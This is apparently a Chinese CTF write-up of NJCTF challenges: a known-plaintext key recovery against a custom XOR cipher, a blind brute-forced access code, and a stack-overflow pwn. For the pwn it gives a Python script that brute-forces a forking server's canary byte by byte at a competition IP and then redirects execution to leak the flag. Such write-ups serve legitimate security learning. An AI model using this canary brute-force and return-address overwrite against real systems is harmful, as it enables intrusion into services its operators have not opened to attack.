今年有幸跟着大佬们参加了NJCTF(当然个人贡献肯定为0啦大佬们做的太快了QvQ),在wp出来之前先记录一下自己做了的.
Misc 150pt
这一题拿到就发现有四个文件:
cipher.txt
encrypt.c
flag.txt
plain.txt
其中会发现,plain.txt里面写了一堆明文:
1 2 3 Relax!This is just a test! NJCTF{N0_WH4t_TH3He11_ExE} Oh,shit!!Did I release the flag?!!!
肯定就不是flag啦!发现flag.txt,cipher.txt里面的文本为乱码,其中cipher.txt用winhex查看后发现正好字数和plain.txt一样,所以可以猜测使用了encrypt.c加密过。这个文件里面内容为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <stdlib.h> #include <stdio.h> #include <string.h> int main (int argc, char **argv) { if (argc != 3 ) { printf ("USAGE: %s input_file output_file\n" , argv[0 ]); return 0 ; } FILE* input_file = fopen(argv[1 ], "rb" ); FILE* output_file = fopen(argv[2 ], "wb" ); if (!input_file || !output_file) { printf ("Error\n" ); return 0 ; } char key[] = "XXXXXXXXXXXX" ; char p, t, c = 0 ; int i = 0 ; while ((p = fgetc(input_file)) != EOF) { c = ((key[i % strlen (key)] ^ t) + (p-t) + i*i ) & 0xff ; t = p; i++; fputc(c, output_file); } return 0 ; }
果然key没有告诉。所以这里只需要我们将plain.txt和cipher.txt进行运算将key求出来,最后再将flag.txt解密即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 char key[90 ] ; char p, q, c = 0 ; int i = 0 ; while ((p = fgetc(plain_file)) != EOF) { q = fgetc(cypher_file); key[i] = (q - i*i + c - p)^c; c = p; i++; } printf ("%s\n" , key); char key[] = "OKIWILLLETYOUKNOWWHATTHEKEYIS" ; char p, t, c = 0 ; int i = 0 ; while ((c = fgetc(input_file)) != EOF) { p = (c - ((key[i % strlen (key)] ^ t) - p + i*i )) & 0xff ; t = p; i++; fputc(p, output_file); }
求得key为NJCTF{N0w_You90t_Th1sC4s3}(不知道是不是对的。。因为有几个地方乱码了)
PWN 100pt
发现没有给文件!居然是个盲注!
这个第一次玩啊。。。这里问了大佬,大佬说用暴力破解的方式找到对应的access code,发现是22,然后输入22后变成
这就有意思了。。然而这个echo *,发现目录下的确是有一个flag,但是怎么读取就想不到了。。。
PWN 150pt
分析后发现,这个居然是把这道题目完整的代码(包括网络通信部分)给出来了:
然后仔细看黄色标注的部分,我们在接受到数据之后,会fork一个进程(不然其他人的就卡死了呀)
仔细看黄色部分,父进程是一直在保留的。我们复习一下啊fork的过程:
当fork的时候,子进程得到与父进程用户级虚拟地址空间**相同**(但是独立的)的拷贝,包括文本,数据和bss段、堆以及用户栈。子进程还会获得与父进程任何打开文件描述符相同的拷贝。
也就是说,此时的栈空间 中的数据可以理解成是不变的。然后在recv_message函数中,可以找到溢出
但是开启了canary。。。本来可能真的要放弃,但是!我们刚刚提到了,父进程一直在跑 ,那么就可以理解成栈中的数据在始终还是维持不变的 ,那么我们就能够通过猜测canary的方式,把canary本身猜测出来。加上在代码开始(截图中没截出来),就发生了一次打开flag.txt并读取数据的操纵。那么我们就能够通过修改send函数的参数,从而拿到flag。
由于虚拟机炸了,没有强力pwntools的我和咸鱼一样了。。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import socketimport telnetlibimport structimport timeurl = "218.2.197.234" port = 2090 canary = [0 , 16 , 234 , 76 , 161 , 17 , 196 , 184 ] send_addr = b'\xC6\x0B\x40\x00\x00\x00\x00\x00' def findCanary (): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) t = telnetlib.Telnet(url, port = 2090 ) s.connect(("218.2.197.234" , 2090 )) t.sock = s s.recv(1024 ) canary = [] while len (canary)<8 : for x in range (0 ,256 ): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) t = telnetlib.Telnet(url, port = 2090 ) s.connect(("218.2.197.234" , 2090 )) t.sock = s print (s.recv(1024 )) t.write(b"a" *104 +bytes (canary + [x])) if "Message received!" in s.recv(1024 ).decode("utf-8" ): print ("[+] x is %d" %(x)) canary.append(x) break print (canary) def pwn (): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) t = telnetlib.Telnet(url, port) s.connect((url, port)) t.sock = s print (s.recv(1024 )) t.write(b"a" *104 +bytes (canary) + b'a' *8 + send_addr) time.sleep(2 ) print (s.recv(1024 )) if __name__ == '__main__' : pwn()
最后拿到flag:
NJCTF{C4n4ry_15_s0_vuln3ri4613_49457_bru73-f0rc3}